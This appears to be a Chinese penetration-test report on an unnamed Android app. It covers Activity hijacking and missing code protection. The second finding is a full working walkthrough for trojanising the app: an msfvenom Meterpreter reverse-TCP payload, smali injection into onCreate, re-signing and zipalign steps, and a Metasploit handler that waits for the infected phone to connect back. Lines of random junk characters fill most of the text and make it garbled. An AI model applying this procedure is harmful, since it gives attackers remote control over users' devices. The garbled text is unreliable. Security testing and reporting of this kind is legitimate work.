. W+ [$ w- c' o) O" l( H0 g: |4 K, T$ r4 G* z% x' l
6 Y6 J) u. W3 g& M1 p: \# w# R( r" n9 r4 Y" A/ f3 w
+ G" e3 a& h+ Q5 r' m
& u! L8 c, d( ^6 I E
1 d; Q7 M5 [2 `$ h1 n
/ w( u( I" f) X2 o h0 X0 B: j 表1-2 测试结果 ; K2 G5 @# w* Z2 {/ b
* r3 E# g4 ^. R; k$ F: }# G# ?) m
& L$ T+ h( ]- V* ^1 k& P& g& [7 I8 M7 `, v+ Z: m* ?8 j
# A+ N- o8 T3 P0 o6 ]7 ]
6 ]5 c) b' k! ?/ n* Y+ y. P
1 ^1 a% B7 C+ t8 c5 a W' u
7 r0 ]4 ]: @2 j# k: G j1 d6 X" a( i
* w4 z8 @) ?9 J* H& |
# r; a$ P$ N1 l$ b
* R" U' g8 E0 G/ F" k8 ^" s' T
; b W; K/ m9 T* V2 b 2 检测结果 # R, {5 I @/ C6 _! \2 G( I' a
. B, q' c! z' [# Z8 O% U
* O' q- N' p4 L* t' D: J
x, x5 T. \2 e4 [' w
" [4 i0 R. E) a/ A- ~! @+ f/ y7 o2 I! I; t" A- `
2.1 某某某 1 X9 l/ N5 f0 A& T. J6 x$ I& T
K# e: [8 n) A1 k' u$ F
( v1 R9 y0 Q5 V/ F
- Z. P+ P9 s: A/ e, R: ^* z/ g 7 ?1 _: }* h( n, t
, f4 t% H6 `+ s) h- ]6 W
2.1.1检测目标 6 k$ e: a' `) {
6 v2 m" D% n) A, M
+ n- }: k0 Y0 a
* b% O0 k. J: q& X% W
5 s; A' }/ }( L `$ T0 r
# c9 W0 c/ T% u/ E1 _2 O 目标地址: 某某某某某某APP 8 b$ y1 b, Q/ T5 u
6 C- T; _7 _; S9 H) g
) k' t$ b9 t) T+ b, d
/ y t: o8 K/ u& C. g% a
4 q4 R+ S. K3 i) X+ u3 k" a9 \2 q( Q! n" X B$ `. W
2.1.2检测结果
" }3 I: e7 S4 Q: m- c
+ y4 B1 H$ n* @% [ N" j- ~
2 P! b) B5 j6 S7 k8 ~! \( V1 D q
0 f& u& _1 i* l1 c' H$ J
+ Q8 ^/ L/ F2 M+ r% n" c3 k( J! \! u3 i) m, d6 `
2.1.2.1 1 W) n) Y# x( C; E6 A* U8 J# Z
3 D' d6 \- u2 ?7 J( x
" b8 a; g! A V U- v E5 {
$ D: c4 p$ m0 w2 ?. Q$ h% }9 k9 V - b3 k7 D. B9 k3 F$ ^
" }# T+ F: p) |4 R8 ?) X# c
漏洞链接地址:某某某某某某APP
( {. o! m0 o, H. [1 F" I1 g, V( v
- w9 t' w% e5 t9 n
8 B: f: D6 C, z& s v2 R+ _
* j3 i. `; a. ~, u$ t
; e0 W. ?, J% y# v1 O t ( {: ? Q6 C R; D V
3 ?7 H; V& T+ |+ X5 I4 O o; H, H
+ \, i+ K* O+ k9 R0 g9 q$ L) T
! u! z! s5 \3 V/ M4 @
, c: `, I4 G8 |5 c; ]* _, V) m: y, \* e+ N- {* U& n
漏洞分析及取证:
# m$ B' @* B# j+ g/ B6 U+ X5 F/ }; T
& g' O$ Q: n. O% {2 _) Q
: t' j! H5 u' d2 F4 J8 x% V/ T
! a+ y3 X/ m9 K1 l* B! P
0 f" v8 k, s6 H( p. K( v 通过androidkiiler反编译,发现app未进行安全加固, Activity 为com.minivision.cmcc.activity.SubActivity可被劫持,复现漏洞如图:
- O4 B9 s2 _: T0 M' F. g& }5 r* e4 F% x$ Q* S
7 S9 {) }, d2 M3 R! ]7 B
" q/ ^7 O$ I! P! Y! }4 h3 v. \5 g
2 h K5 }8 ^; @6 Z( {# ?
: w( D( @, \" {& f; X& u6 ?+ Q ! B. {9 _9 D4 n; \5 v
$ S: r g& ^9 d9 s3 N( x
1 }+ T0 t$ Y! [5 c+ P+ S7 u- T3 G( i5 d/ J
, }; d6 k3 b; `/ P. G, T% o; Q
7 I7 h$ j8 I0 q, Q) U% N, t' H
$ @. t0 ~! }; K& @9 m; Y7 i- C' G9 q0 o1 \$ d, H1 G2 A
. |+ t; d1 Y' Y9 H8 m6 N7 R1 `. i8 ^0 }) C- Y
) F1 ^' c/ X0 v2 k4 }
6 D8 r2 W& E% b( k. `! L# u
% m9 Z: k8 C- Q; l+ K
) x A. ]3 D; s6 S* Z3 ]: P
2 {9 D( y3 l) h b& k/ W
% }2 {: i" s9 c/ L$ d
1 {2 t& O0 [6 t7 |$ e3 d1 [/ {/ ]! j3 B4 ]# B( t
6 c* t4 e( W* h4 }" C" h
+ M% i$ m; [6 }% M& E; }1 M9 ]
. L/ R: \; V% h! a1 q. |" J) b y& ~- U! _$ V( t" U
. E- l. Y: i' G, x9 J& ?& L0 B& ^$ k8 Y: t; H" h2 l& S
4 s) E. ~/ m0 A7 o9 K3 E" x* X, D3 @: i, k; A/ k
, D4 f( S7 f' k3 s# E& [; F
1 K' d0 l; C0 H' A' q! u9 [2 b: I* Z8 N
) x; J: [" e3 M& j9 H* m
: v8 t7 L1 j. m3 O4 } 漏洞危害:高
& Z7 h$ X. h# d" V# ?# ^2 P* ~" u4 l& B" U: h
- F7 C, u' z# l! a1 S# r) b
5 M+ `- d: b2 ?5 Q: e1 X; F# T + g7 B: B0 [& [
3 q4 N- h4 e9 s # r. b6 D5 n5 |, X5 E# T
) M) @0 J6 C# n' |7 i" V! S
5 L/ j2 _2 \/ c9 q! f
! Y- w0 K- D. }$ H; |% G7 x" p
& K% {4 F5 M# U) ~$ H |/ {( o) v4 c9 h7 |$ b
$ m( Q6 S, u* S2 J7 U- M% D
$ }4 X @) S% f- |& {# ~! ~' H
# i0 x- \ F* O1 R1 s
& B9 I8 f) X8 ]8 a, X3 G9 A 严重程度
7 o y& [' N* K* k! r5 \2 A8 W8 W% w0 z- _; _, F8 T1 G
: W8 R, E2 |6 c L# c0 F: Y9 V
5 _. I, ?! j/ {' n3 l | 6 I7 q% A( B! {8 L+ h3 h1 |9 s1 I
6 E% p# c8 a3 _9 b
3 x, r5 S& H; x4 K
0 J8 f- ?$ _; b ( _% N4 q) w. C
4 A, n( \5 ?1 f! r2 O, l2 E2 Z% @
高 : O+ m- J- E! a! q$ L
7 f" V" H$ B" p
( E* K& a Z0 D1 w( [8 q/ }. i6 o5 |
|
4 H4 L7 M. r% Q1 y2 ]3 x0 b4 q: C5 @) n, ~+ s
+ D- N* P! S0 m. M% Z! Q" h$ ^4 w! K( o
% `6 O# d9 H" w
I; f* n. F3 l+ S" D" X# c( } ■ 6 I* f- ~ }; |0 L I
% R) n. {6 b: \+ E
5 H7 t" S; N! P* K9 k2 |
8 P, V1 m5 i# n: q. e |
& |! H5 u7 E3 `3 j
9 \6 T8 X3 n. A
* R" C& t6 U0 O& _, J/ w" G
" }3 @, N, |; c e$ M- ~3 o5 Q( K: {; N
1 o1 Q$ e( B; F 中 : X5 P9 F1 e6 {' q0 R
7 _- R3 s4 c. w) ]- N; D
. D( s3 K7 d7 \+ D; @
4 e. l: K) n! x7 j1 |# y. o7 ~ |
3 v' W) r* B3 a+ N! n4 N+ g( H) T+ `" ^9 F2 a. ?
+ P3 x- K8 z+ j
, W2 Z( \/ ?3 K% _, j X ; r5 f/ u$ y; [+ t. x& _
* r) i D7 K$ D( p8 f, f, _( s
8 e5 z5 _% r) E% I. `7 o+ d4 J9 u
4 N) i5 C" u. H3 b2 W: q7 z& o3 s/ V# r
) f; k3 B H2 B- z
' S* F; r, K# _ |
, v" s* t6 @. @; h3 _' O2 F8 r
( g1 d% U( ~0 z3 m/ p7 N- z3 p8 J & A: _- b% B9 @( L/ W
" i- z1 O* {! n/ t
- W5 j: R; ?; P9 o) m: K, r$ U; _: Q6 \. M1 Z9 ^" P! f4 ^; ~4 u$ I/ G
低 % }1 L7 z% N6 f, L: ]$ U- A. }
# ?# y' N* Y5 i$ K7 p
& l7 u) X- m6 P2 f: p- P3 F8 D; G" s, ? ?& t) i( v5 d' c
| 8 @9 y$ W( Q, ^8 U/ T/ X. k1 B
- r5 W) j5 `8 d$ ]0 ^: o , I( S( Y) @3 [. U6 p
" N& ^% q0 {6 {0 s2 {! ` 1 }- A5 [; P/ f9 b
) Z/ I( q5 G6 X) n q- q 2 D9 s! c* Z% H9 ?' B C7 ?# }
# A1 L/ W% L" X1 [
* }- B* N5 P; [* [/ \
: _/ b( t6 ]2 d! f) }2 w |
5 Q( c) o: _+ ^3 E* k4 E: |
( k8 ~2 m" J+ I
6 l; T: `. u; F% [, P6 g0 s/ y6 [( j/ y* h" `1 u, L7 l- Z8 \
# p8 Q) U9 T* U& E. ]" Q7 U) D/ p$ y- C' q0 |4 N1 E! y+ n
5 t T3 a1 P s1 U2 I' U/ ~4 X
1 p* X1 t2 r+ J* L; \
" E) e3 H0 S! F% c; _. ?' q. x) K$ i! ~# h6 T' S' Y/ w; h
: K9 |0 D' v/ ]' v" i8 a
! b/ U: q% @! d4 h' n * Z/ T" }. M- L4 u3 w0 H" N
- P9 V/ U1 Q# `2 T3 D$ I; i
2 Y1 C- L7 w4 }; W* P' U6 P: [# V3 M" s3 D
6 m7 i9 y4 U! e6 M+ @/ P3 @" K3 |% z2 y4 R) k6 g% ` y
修复方法:在 APP 的 Activity 界面(也就是 MainActivity)中重写 onKeyDown 方法和 onPause 方法,当其被覆盖时,就能够弹出警示信息。判断程序进入后台是不是由用户自己触发的(触摸返回键或 HOME 键),如果是用户自己触发的则无需弹出警示,否则弹出警示信息。
1 X' W7 Q$ x0 `& r r0 w, d( c% u# h/ C9 R s8 J& f- O
5 w/ ~& Q* @1 f9 @" L
2 O- K7 j" o' B: G4 n* p3 x: ?
. ~* r. Z8 [, V) D9 K# k3 q, s0 ^4 `, a" V4 e, ^
8 I7 d6 X( O0 z5 K+ w1 k! E Y
! W0 M& f( v! G/ F
4 p& @. Q7 J/ \) s$ \1 _
4 J3 h3 W0 V; \- s/ C2 J. [
7 o0 @7 T) W& N* C% ^4 m: K. ?: w8 g r
: ?( ?: ~- u9 S' @) u8 t1 d
# P0 C- [" T1 }
; {% i/ y! D/ `; |$ G1 O! r+ S0 |# g* K
! g7 D: t( P" B! F! b3 V
; [8 W$ w0 ]6 u/ i: \ 2.1.2.2 % P9 }$ F% S6 `- K4 I% B% M
4 j- ?/ r% n( s
# @" Q* x8 {! U: Q$ i
. A# s6 \0 \* s# r5 B , z) t! T0 g3 h0 g$ K4 U8 [
+ r6 }+ M' f# X5 S 漏洞链接地址:某某某某某某APP 1 o# B% E) H6 q+ ]
5 P7 f( N/ \) b2 u2 ? m
( J: M9 R: t$ ^+ z
9 s( t7 a) Z" v- W0 Q/ F: N
( w. A8 r2 a; d3 j! j* H
% h r4 R; p' I9 d 漏洞分析及取证: . z8 T7 E$ S/ ]; t8 d
' ~" x0 y) z1 K% c! E# f- i9 i$ b
. h2 m, S' M9 M7 z! B/ c3 X6 D$ n
( X$ ]& _) }: H
% i R+ t+ p X/ W& j# ^7 g
. S7 m, n+ c7 S 通过反编译,发现程序未加壳加密,可直接反编译获取源码,经过测试可修改app代码捆绑木马或者植入广告等操作,复现详细方法如下: : s1 I/ q7 i' x2 A& p
2 S% u4 T: w6 X+ z, K
! a0 [1 [2 e4 Q2 b: Y
5 J. C1 D9 m5 n& x# K
9 _' L/ X) ~) ^, H1 \/ K" t L$ j8 o& y. `5 \1 R" _ h
用Metasploit 生成木马 apk ; S( Z9 j7 V0 ?* [ F8 i
# H2 F; q/ s+ M' V
* y" A& |6 W% X' a3 h) l2 q) L q* S# Y2 b* r/ X/ U& ?
4 V5 Z) ]/ e1 \/ R8 i, M$ s1 b ]: u
msfvenom -p android/meterpreter/reverse_tcp LHOST=192.xxx.x.x LPORT=4444 R > cockhorse.apk 7 I. C8 J; ~( x1 Q7 P
' I! ^/ d: O' o b: c1 ~5 X
; w2 j; [7 u: t4 `; T s. {0 ~
4 q8 i+ o( a7 u. N: @7 V
$ g! `* V1 b2 _- g$ D$ B ]; I/ A3 ?2 A& k4 O
反编译目标apk和木马apk ' m5 J& O" Y3 q4 V: y
/ D/ p9 ^4 z8 m
0 U& l5 b' M7 Y2 q# v
$ m# U/ _& d3 ^7 O! ~
3 y9 r8 A" K _/ ? J0 l5 z9 m3 J6 ?3 {) Y; Q
apktool d target.apk
4 q$ @# v, F9 \2 r7 o; f* i+ _7 ^& V/ U4 Z& Z& R! C# J
apktool d cockhorse.apk
+ D7 h X3 o7 S3 c9 }
* Z6 q) L1 Y1 O0 _
; w0 H0 O, a8 O5 G; Q& B, b( V7 g
! C% e. L5 m6 U3 T3 A 4 W* x! j& Y9 D$ k! a
+ l# ?" g. w1 U! e5 k2 R- L( w
木马 apk 注入目标 apk " j6 r Q" A! `3 z: E
2 P2 a9 W5 H8 \1 `# A& f1 j
2 f! I. _4 z, @# a% b9 U
5 L1 h* m5 B: J2 J( O
+ ~/ m0 G( S5 ]7 W2 m# B: A$ P/ |* Y5 d! y/ W6 @
在目标 apk 反编译生成的文件中找到启动 Activity 的 smali 文件,并在 onCreate()方法中添加如下代码:
& b6 N6 @* ^; W# K+ \6 X+ [* q: Q9 w7 d( Z
invoke-static {p0}, Lcom/metasploit/stage/Payload;->start(Landroid/content/Context;)V % x" d" L, Z# C0 U Z4 L; _, r
( I1 e5 v' r$ P( G1 K
6 w6 a3 W) s$ K2 e+ ?
1 ^1 R* v. m3 Q" ~/ x
9 G* A. n- o+ T. J
& D9 m8 Q9 ]' \$ i
将木马文件 AndroidManifest.xml 中的权限放到目标文件 AndroidManifest.xml 中,去除重复 5 s! _+ B* x: \# X0 `
5 N3 D t& ^) s" ~( `
. I% h8 R$ l% S7 X
' B/ |% Y* X8 | k& ?- ~3 ]
% D p" E' B' p2 `& H" I, k C
# D" X0 |( D, y) K6 i 将木马文件的 smali 文件放到目标文件下,例如 com/metasploit 文件复制到目标文件 com/ 下 1 x I6 K; [3 l& _
1 n; u5 N- |) ]+ B9 z
. P# N# j2 u- g# Y% H
0 z# K' ~; K1 F1 h" b+ F + l. m- v- P3 a$ b( ]4 G
" F! M% ^/ j, {1 ^" E 回编译生成最终 apk 5 ~, Y8 S3 l% D- U7 m
3 c) S- E2 u& R- n% [; g# F
! \3 O* G$ g G
- ^/ _( I, Y: F# _
7 S- v2 X% J9 m) w4 m' Y# b7 m! u, h; ~( u& G; s
重新打包
6 g8 e" K8 u" K0 d
. W. V" T" N1 v* I
, I6 k7 v; l. a- K" U6 l2 l1 P0 X ~, f9 ^
7 ~5 T1 n2 r3 X+ ~
: F6 Y, w, C u) m# u apktool b -o repackage.apk target_app_floder
( w6 W2 J' F8 l) [
) ^. E7 k+ H. N M$ s9 u
) \) f4 S/ _2 H1 d+ L7 Y }
) Z7 s# e+ Y/ m7 f% L
( Q$ _- M& ^7 B) v; B0 g1 @/ p* @2 f' D
创建签名文件,有的话可忽略此步骤 ) @; _8 Q& {+ @
9 A9 L# { X4 P+ s& q' m1 ]% z
/ L6 Y; _. K% K& p& R* E% [# L
+ P$ D$ N& n0 T' B , r3 R. `+ K; b0 F+ p% r# o7 w0 {
$ Y( n9 S& q% S2 f
keytool -genkey -v -keystore mykey.keystore -alias mykeyaliasname -keyalg RSA -keysize 2048 -validity 10000
: i- _7 p! _/ M3 V w s6 z" U. M! A# J. P/ v
2 x: n! c& }/ N) p, O/ i" b5 H, c' a8 A! ]9 X2 j& I
9 P% k: j/ A0 |" `, ~' _
* y9 ^6 B J5 t, h0 J+ g 签名,以下任选其一 1 ]) H# }: o6 k4 \( I' D
P8 k- A) V+ n6 |2 d# ~
) _. ~$ v; H& ]+ Z
9 J0 p0 c/ L6 L# J' d' L( k * u2 J* _# T, j$ W9 j
" L* p" f& A2 J. V! R
jarsigner 方式 ) Z1 z0 W+ J0 A% ^. _
3 [9 ?- v) \/ a) H
9 ~; T. y5 x2 ?+ k
9 w6 D6 E, G3 q, @) D3 O 5 r8 K' d% a9 z0 n, I2 c
/ C8 [! s/ Y5 _6 ] jarsigner -sigalg SHA256withRSA -digestalg SHA1 -keystore mykey.keystore -storepass 你的密码 repackaged.apk mykeyaliasname 2 [# A- u# `: `, d* b* t
1 K |# \2 G0 T
7 Y3 i& V6 u% w4 s1 X
' @% a% M* Q* L$ N# d) R$ ?
) [1 F% @$ ~0 y. z5 y U
9 W" B, s7 }+ J" z0 J z apksigner 方式 5 h$ @( ?" `2 E7 @: E- Q1 ]7 L
( A0 r7 }5 d6 x7 L1 S' J$ X
0 r0 t2 Y$ g: j
/ ~4 A: R9 E( p$ r ' ^, q; F7 O0 o2 q, n' W* ]% o% T [
. j- {+ ~6 z6 \) G7 U
apksigner sign --ks mykey.keystore --ks-key-alias mykeyaliasname repackaged.apk 3 T5 {2 h" R* o5 Q: H/ H2 C
& ]$ T& s9 L- C( q2 u2 S% ?
9 _! h2 R2 Q4 C5 k- G' g4 u0 u
8 Q3 N" J4 p9 ^, k7 A8 N
- ^( i5 u1 s- D$ ]) `
) l( R3 p- v5 A, B0 S 如需要禁用 v2签名 添加选项--v2-signing-enabled false
" \8 e8 ]" [) {7 C( X! `) z, U
# L+ n% l" r" r
" G5 s# E3 d4 p
. E# l. K8 I5 R# L; @3 `8 D8 n: y$ m 6 G! k; A% u; g. S: f
" n/ j4 h' k+ t" K) {1 [ 验证,以下任选其一 8 ~! h y3 r* t5 ]* `! R4 o
- _, D- w' J b( ?0 P- V. Q
( l i/ ~2 N8 L* g
* i L6 L8 `6 R# G: e
; h$ ^3 C0 C$ W' S* ^
; W0 X5 d7 X: _% X. A( o jarsigner方式
/ R- S) a8 ^6 u X% g* M4 C; V; K3 t/ P8 m4 W0 _1 K
1 G# o' X7 a2 n: O* T) ]' C5 l2 X( Y& ^( ~9 L
) o4 V3 f0 J% A: A
) C( F3 h9 e5 o0 V) @7 v- K jarsigner -verify repackaged.apk 0 U& n1 a4 j' m+ X6 A
& I: d+ e& ?! L
; b7 c# s5 v& v7 A
4 W8 r# g5 R# m
8 B6 |" F9 y& J: h4 E4 C' r
" ^' H( d, d( e0 v( L
apksigner 方式 $ g9 W' B( |; D/ X$ l( j
" P' }7 Q) ~2 C4 c4 G5 U. X/ L$ i6 r
( N4 d0 U, C- G o$ j
7 Y, X1 k6 N, w% I( C; W
0 S) [" i% q. o. q7 s
8 M9 y; R6 D1 v: e, d
apksigner verify -v --print-certs repackaged.apk " e8 F4 N9 w: t+ U4 h
2 v: Q, {3 { R4 f2 F! P
7 m ^: N, a. {! i* T( B1 F' i' K2 K/ u- }# m) G
: z6 q! `4 ?" H1 k7 q8 |$ S& z" X$ j: ^1 R" _" J
keytool方式
5 {" ?7 z* g' |' V: U N% U! I2 q2 B: C( h1 n o# P
% y0 Q- Q5 |$ \9 F& P! c' Q
; O9 Z i0 y! |3 O% t
) S9 C) p; |" A8 m8 ], w" J. w/ y: n N0 p0 V9 Z( c: k
keytool -printcert -jarfile repackaged.apk / P6 M! ]% V1 K
& {8 R% D3 t; p* a' i/ r
! O3 Y) \: W% H0 G2 c
4 q% ]& H {3 z M+ X + ]3 B+ t {* r( z
; I' U$ [$ I% b, E+ O3 E/ ] E) n 对齐
% J9 n, \+ F! s- @- J/ B! k7 }& A6 A6 Q5 w5 i8 h- Z2 b
: |' E# A2 x1 R* Q) q7 I
3 Z. j1 K3 w( p F$ U/ }) y" N7 P; q T
9 Z$ e7 R; d* \3 I
9 S: I8 ]6 H: n* F% h# z+ c
字节对齐优化
e- U/ ~* g; L6 }- C, A7 {
8 j" K( h8 A+ x$ p" M8 f
9 V5 e) n1 `# T# r. E. H% D2 }+ i
* Q$ B6 A% z: h' Z
6 e4 ?, T$ n! i: D8 G" g/ g- y
. X- S. n# L' A/ A7 t zipalign -v 4 repackaged.apk final.apk
2 y7 a' a* o) Q* s! Q% R
0 J+ j2 x* O) V" b, c+ h, @
) H- \! V5 K8 L1 O f: }. v# P4 `8 t1 Q6 {. K# l) H
' i1 A4 B& _$ P# {' G% K
0 H5 h1 b% _; v$ Y- z1 r/ O 检查是否对齐 * L$ E6 {, Z8 \2 L" M, A
! u# }# S0 S# ^4 W% x' M; ]& D
0 s% v1 X( Y+ F% f+ T9 a
6 p& j9 R/ ?+ i, R" Z; P1 ?
+ y% A) K: l; {% Q# B5 N/ T
" x! `7 ?( T# A! _3 Z+ H
zipalign -c -v 4 final.apk
3 J P# y) G- ?& R3 h$ Y3 B% b
1 Y/ g) a/ O; c2 j! I( y' u. N2 x
U- I# E$ ]9 k
! o% m& m- v7 S' `' G. n
8 H! i9 O3 y) |6 }0 o, `& {. G
3 P' X$ c: g8 F: g 注:zipalign可以在V1签名后执行,但zipalign不能在V2签名后执行,只能在V2签名之前执行
; P4 C$ M/ |* l8 @# ]* j. m& O; u' x% ?; Y6 O# I2 u: t
+ V7 ~4 I/ K" N U6 H" A/ l
# o/ D0 ?% E! u
* l3 u* V* C% ^. {4 ^8 p. X. H
% V! Y, w9 c+ Z- s- J% _
启动Metasploit控制台,配置参数等待上线
/ P/ V6 i- f" e0 c8 a; E* s" s: X8 a6 ~ \; Z! S/ |* B, I+ U' e
, c$ k3 ^' Z! S% ]+ Q( a, h/ c$ ]: D7 U
$ h2 [3 b- ~) Y0 s) U1 @9 z
3 Q z7 K5 [, g1 f N4 D$ S4 t
在终端依次输入如下命令 : r3 y1 j8 {* G2 O+ E
" I$ Y# j7 Z" m k/ ~
8 ~/ e2 {+ A( j& l5 H4 H
3 n" o) Z8 e6 w; u0 A. g) n. f
( T. @2 R8 B' C" X' l8 Z% {/ o% G7 p6 Y7 ?2 o3 Z. t! g
msfconsole . T1 @1 m( \ W- G3 A
4 U1 g/ H5 |0 |! q U- t3 q
1 V( x+ m# B7 O, s- q4 A% I/ C* V3 i5 a# _2 ^
, A; c" f3 h0 U5 F7 a7 ~, _9 o
; [" t! Q9 \5 ~0 Z7 q3 f6 j use exploit/multi/handler 8 D- b8 _3 y- U: E0 b
& `; ]1 o8 k. {) v1 B, G
2 e* I5 N, m p: M2 p& M
: G7 o6 \& t0 j& I1 |0 o
3 Q# O% P# ?8 p; U
, s: @1 d0 m! k: W. w8 I( i0 T |% A set PAYLOAD android/meterpreter/reverse_tcp
" f2 |& w8 Y- Z* j. z0 i0 n1 w+ A; ]$ v0 \# V7 N6 d
9 y! M0 h! T$ p- q% [& h
5 d3 E6 ^0 j2 k4 r. j% p y - y+ t( T' C* W7 H3 @3 I
- R8 o" r x+ e- a
set LHOST 192.xxx.xx.xx % A s- }% ~2 r0 N$ q1 ~
# U% D4 S/ j# x: G d1 v5 [3 ~9 S
( e; d* J) ]: ~3 _6 ^$ C
& ?$ E& q# E: w' f! S- D* b9 N6 K) ~ 2 V% c/ r" j( m
; p' P0 i1 Y$ E- y& \* A
set LPORT 4444
; ]8 R4 w0 X, |: _. }3 e+ `/ V' ~) l
0 T+ N1 U/ L% _- u# X# H7 E' C( R" Y
" j% h" h+ M: J
6 o! {; ?: c1 P6 l
* o0 X" Z9 x9 q$ t exploit ; G5 d6 S% E; A
! R6 d! {+ g8 c
# `# {: M. d+ y: k& Q! @3 p& O: Y( N
/ z2 i4 P9 j. W' M: W
. Z" \1 B# v! v4 k* o+ W 之前我们把入口放在 MainActivity 的 onCreate 方法中,当启动目标应用进入该界面,就会连接成功,如下图: 3 X- D( b0 h" h0 t# L) u* f
# W3 C$ t6 s, d/ U& b2 G
+ `: H+ m$ G4 F2 v* k% G
! U) X; S8 A+ y& o& l
3 M! u2 D3 `" p- o, o. W6 F- U4 U" J5 j" L& y
漏洞危害:中
, A% {5 F8 I1 j, t4 X! T. W: O- z# l, E' E! W: Z [/ M- S# @
& e0 r& q1 p0 m
" Y$ L& e. p% ?$ H: b2 f
* Q, _3 P" k+ q- m& i
8 c, q7 |- g9 z" o 5 m) ^- e: q$ [5 g( I) V Y7 P
' w! Z' `0 k* d+ X, e 9 @3 n! Q2 H) |1 p' [7 Z4 ?
# a6 d5 p; I2 O& Z% ]0 X
$ `2 c* e% M/ ]4 q7 I5 L$ c0 c& r; v5 n; ?
# w& [% A( L8 k2 B
( x- ^: _0 R$ z, g
6 A$ A! q' g+ j5 ~ x. t% u T
4 ?; U t6 b% I3 ]3 D# A
; n$ B$ e# S: V( E
- X* P# V2 ~6 D- ~+ l0 p( X 严重程度 ) ~" [* `: d2 ^) Y
, L5 F4 h: m: C0 y: N. L
& [, F0 W1 u9 y8 I5 X! k2 `. J( p$ [/ C+ Q
| . x4 ]4 C3 e# U/ t& p
[: P. M1 v( M
6 {& q! y+ m4 H! V! P& |1 m. A
( N" _- m* E% K8 p; C; z+ e
6 y2 B( M4 _5 l; w! U F
5 v! h# {& ~8 M* E, C 高 + D/ O8 L1 P/ L8 c1 j7 g4 e8 T* s
5 [# f3 o3 a, F4 Q2 w
r3 h, D6 C, ?6 i$ ^
! C& s- j8 p: W" m$ z | ! d7 P b$ g$ q, k9 w3 i
F+ _0 w# H& O , g, s( d1 y, V
0 E% w1 R( c7 T8 `) Z7 h ) T% ~. B7 ` d7 q2 D; k, r
) h' m: U& @$ D4 a9 P
■
* R0 r- m' U6 y1 p9 |+ ], E( W1 ?0 @% D' V! R5 a* _/ E @5 m6 [
, m5 K' y/ V) H# C" J
% r6 ]9 E/ Y2 B/ Q! r6 P
| 7 W! H0 c6 d' p
5 T& m0 |6 \3 Q' e. k
; A) C9 T* |- B. p" b- n
; _1 l1 N o( V6 G
' |' p9 B& ^$ e8 l/ V! Q2 F9 t( W, Y- r- X% N, |6 s
中 $ r, {. U+ f/ G5 Q) v6 P' K
6 G$ r" N x" T1 x
2 m% f4 j# |! J& D
3 t5 M1 P) u) u2 q8 h | , ?$ c, g+ \: t# u8 e4 [! @- A
9 n& g9 Z( A% R1 m p* }5 a4 L g/ Q& j- R) B2 T! |
# b) L) e" N5 I0 u! \: ~
0 W" s4 t+ l4 b# `% a" o* u& g$ O! W N3 x
* @7 Q# O% i' _( G4 }
7 h0 ^/ b3 M) i" Q# F % ?8 s! T: C( M9 d+ E/ Z
" o. k7 W3 l5 b x+ I/ p( a& F 0 V7 I5 |) P: {! s1 C( |+ d
5 j& ^4 q1 n' x. {8 p: @2 F
| / j' D! K6 I- H8 ]; y3 E) R
9 b! Q/ @& N Y8 x& H* k9 Z ' l" b2 V4 N! |8 v8 E& ?
! F/ ~& A O6 K7 D Z
p. c- ]. M7 i9 r5 H% u T$ h/ [! ]
低 : g- g7 O3 n7 C6 G
% ?* |, q: e8 {8 }& k, e, o
$ j2 j4 t2 k9 N2 `* _3 K- \9 F4 x" N$ k) [9 p0 x! G
|
6 G6 T2 \. X0 |2 R/ V5 [ x
5 H& z. Y; B4 }, {* ~
! q; _: B- h, m
' h* H) w5 u2 {4 I- U" H ) e1 ]4 B- o6 ^* c: {' x! ?
! T' x' p* w5 L- K8 B
3 e+ u% H) U- p: X l; t0 s' j: a+ Z( O+ \3 ?" v
5 {9 j6 q5 V9 @8 Q. `7 b8 T& K9 y/ t
# ^- d N9 R; {2 {# Z+ H f9 @2 ^$ z0 _4 @1 V
| 7 B' S. L, {4 K7 s1 f* V+ i
# x) k0 e, h% g i% K! m; r
: u' R: I* A4 @' Y6 p
& Y* p4 h* y$ \3 d+ ]6 w3 P o
+ g" M8 v3 z ]( @6 e3 ?& j* z: ~5 j9 ~* k% z
1 h. L+ q1 N' a! F+ U% ~
. n! S$ H* f7 {( g + q! U/ d; Y1 O6 e+ c
( p0 v' @2 b. y, L# B" j. L- |
# p1 A9 ?5 `& Z4 Y, e
j$ t* r9 C) K& | B+ { ' I4 n0 W6 \* b5 T. N
. v0 e- T j$ T- A
2 D1 k1 X) N5 ~' q, f. W7 P! g; w
: B0 V' P# p* W! o' |7 h1 V3 V
. N5 u4 k+ G- Y% T, ^1 H' G/ V% W0 N0 f4 w! r0 v& I
修复方法: : g) a; j4 r5 r
3 G. }3 p y1 f3 b, \
4 M: i6 X) Q) q% Y8 K* C9 Q
& K7 ?. ]" U; @8 h/ P& O 8 ^' E/ T/ M( {, R6 w( Z- P
7 O" }5 j0 F, s1 S( I( r9 q( K1 a3 w 1.在 APP 启动时应做签名校验防止二次打包。
5 F5 ^/ w+ {% d
, W' L7 C2 C0 k0 P* L y$ T
2.建议采用客户端、通信和服务器端联动防御方案进行安全防御。 * E( g' a. p3 l! c; M6 L- W# s6 }
$ Q/ i; @# X6 u) h& B8 I w; }
# K/ p% w$ O, T; t/ Q# K+ r, m- e+ R
_6 A8 X. w) ? 2 q5 G \5 x# `! [1 z; ~# f
) T" y! A" M7 j) _% ?! c
9 u+ `& L) H% M# T
$ \- \ C# ~0 k* K4 {
$ j- Y2 m& O2 N5 t3 ~, l2 ?9 u( Y1 |. N V, E* K3 m; K
8 t4 ]% G1 k, m4 Q
2 u& O s. a$ f f' `0 {
+ y1 L' b- A z$ N' j8 }. p( }9 e/ Y
& b7 j8 G5 w4 O1 }9 ^
( H) S: a- L- b D5 [0 E+ w
% D4 Q+ `/ R2 v. h# r0 u. {6 }3 B! i2 F- h: V
6 I7 m; z: u& M/ t& i
- l' X1 y4 H5 e2 R1 O( j